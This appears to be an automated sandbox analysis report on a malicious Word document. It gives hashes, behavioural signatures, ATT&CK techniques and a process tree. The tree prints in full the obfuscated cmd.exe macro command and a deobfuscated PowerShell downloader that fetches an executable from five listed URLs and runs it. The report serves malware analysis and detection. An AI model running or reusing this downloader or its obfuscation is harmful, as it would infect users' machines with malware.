74113ff23ba2b9a5f81dd7d7168d96adaa1ebab72cdc0b29ca5a3eeea5334682

General

Target

74113ff23ba2b9a5f81dd7d7168d96adaa1ebab72cdc0b29ca5a3eeea5334682.doc
Size

99KB
MD5

a1541e59807a545b2586844edfc2d83d
SHA1

a67c7ea51420ff63e063425b0897781943a62b78
SHA256

74113ff23ba2b9a5f81dd7d7168d96adaa1ebab72cdc0b29ca5a3eeea5334682
SHA512

207763b00957aac6d7d233f8db060615beb1eb399b5edef24c3993eb7dd6dba308a98c85c1bf3e015a3ea294752a518be7d447592187bb1ac92e704f2296d4fe

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://intraelectronics.com/9CBQqGip_YBdeLeOmn

exe.dropper

http://linkingphase.com/Ye09uJm_1TJzK_0

exe.dropper

http://radwomenbusinessowners.com/pnKAX_FAi9jc

exe.dropper

http://www.motoruitjes.nl/BrG_4Tb3uEk0N

exe.dropper

http://kantova.com/xRVVM3r_gsFZOEnE

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1292	4752	cmd.exe	30

Blocklisted process makes network request 5 IoCs

flow	pid	Process
12	5040	powershell.exe
16	5040	powershell.exe
17	5040	powershell.exe
19	5040	powershell.exe
20	5040	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4752	WINWORD.EXE
4752	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5040	powershell.exe
5040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5040	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4752	WINWORD.EXE
4752	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4752	WINWORD.EXE
4752	WINWORD.EXE
4752	WINWORD.EXE
4752	WINWORD.EXE
4752	WINWORD.EXE
4752	WINWORD.EXE
4752	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4752 wrote to memory of 4624	4752	WINWORD.EXE	81
PID 4752 wrote to memory of 4624	4752	WINWORD.EXE	81
PID 4752 wrote to memory of 1292	4752	WINWORD.EXE	82
PID 4752 wrote to memory of 1292	4752	WINWORD.EXE	82
PID 1292 wrote to memory of 4472	1292	cmd.exe	85
PID 1292 wrote to memory of 4472	1292	cmd.exe	85
PID 4472 wrote to memory of 216	4472	cmd.exe	86
PID 4472 wrote to memory of 216	4472	cmd.exe	86
PID 4472 wrote to memory of 208	4472	cmd.exe	87
PID 4472 wrote to memory of 208	4472	cmd.exe	87
PID 208 wrote to memory of 1960	208	cmd.exe	88
PID 208 wrote to memory of 1960	208	cmd.exe	88
PID 1960 wrote to memory of 1996	1960	cmd.exe	89
PID 1960 wrote to memory of 1996	1960	cmd.exe	89
PID 1960 wrote to memory of 2100	1960	cmd.exe	90
PID 1960 wrote to memory of 2100	1960	cmd.exe	90
PID 208 wrote to memory of 260	208	cmd.exe	91
PID 208 wrote to memory of 260	208	cmd.exe	91
PID 260 wrote to memory of 5040	260	cmd.exe	92
PID 260 wrote to memory of 5040	260	cmd.exe	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74113ff23ba2b9a5f81dd7d7168d96adaa1ebab72cdc0b29ca5a3eeea5334682.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4752
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4624
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c %ProgrAMData:~0,1%%ProgRAmdATA:~9,2% /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\cmd.exe
    CmD /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok'; "
      4⤵
      PID:216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=wHF" %p IN ('ftype^|findstr mdFi') DO %p "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ftype|findstr mdFi
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1960
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ftype"
        6⤵
        
        PID:1996
      - C:\Windows\system32\findstr.exe
        
        findstr mdFi
        6⤵
        
        PID:2100
    - - C:\Windows\system32\cmd.exe
        
        Cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok';
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4752-136-0x00007FFE53840000-0x00007FFE53850000-memory.dmp

Filesize
64KB

Download
memory/4752-131-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-130-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-135-0x00007FFE53840000-0x00007FFE53850000-memory.dmp

Filesize
64KB

Download
memory/4752-134-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-133-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-132-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-138-0x000002038EF20000-0x000002038EF24000-memory.dmp

Filesize
16KB

Download
memory/4752-155-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-153-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-154-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/4752-152-0x00007FFE56070000-0x00007FFE56080000-memory.dmp

Filesize
64KB

Download
memory/5040-150-0x00007FFE6A340000-0x00007FFE6AE01000-memory.dmp

Filesize
10.8MB

Download
memory/5040-149-0x00007FFE6A340000-0x00007FFE6AE01000-memory.dmp

Filesize
10.8MB

Download
memory/5040-148-0x0000025CA3EA0000-0x0000025CA3EC2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads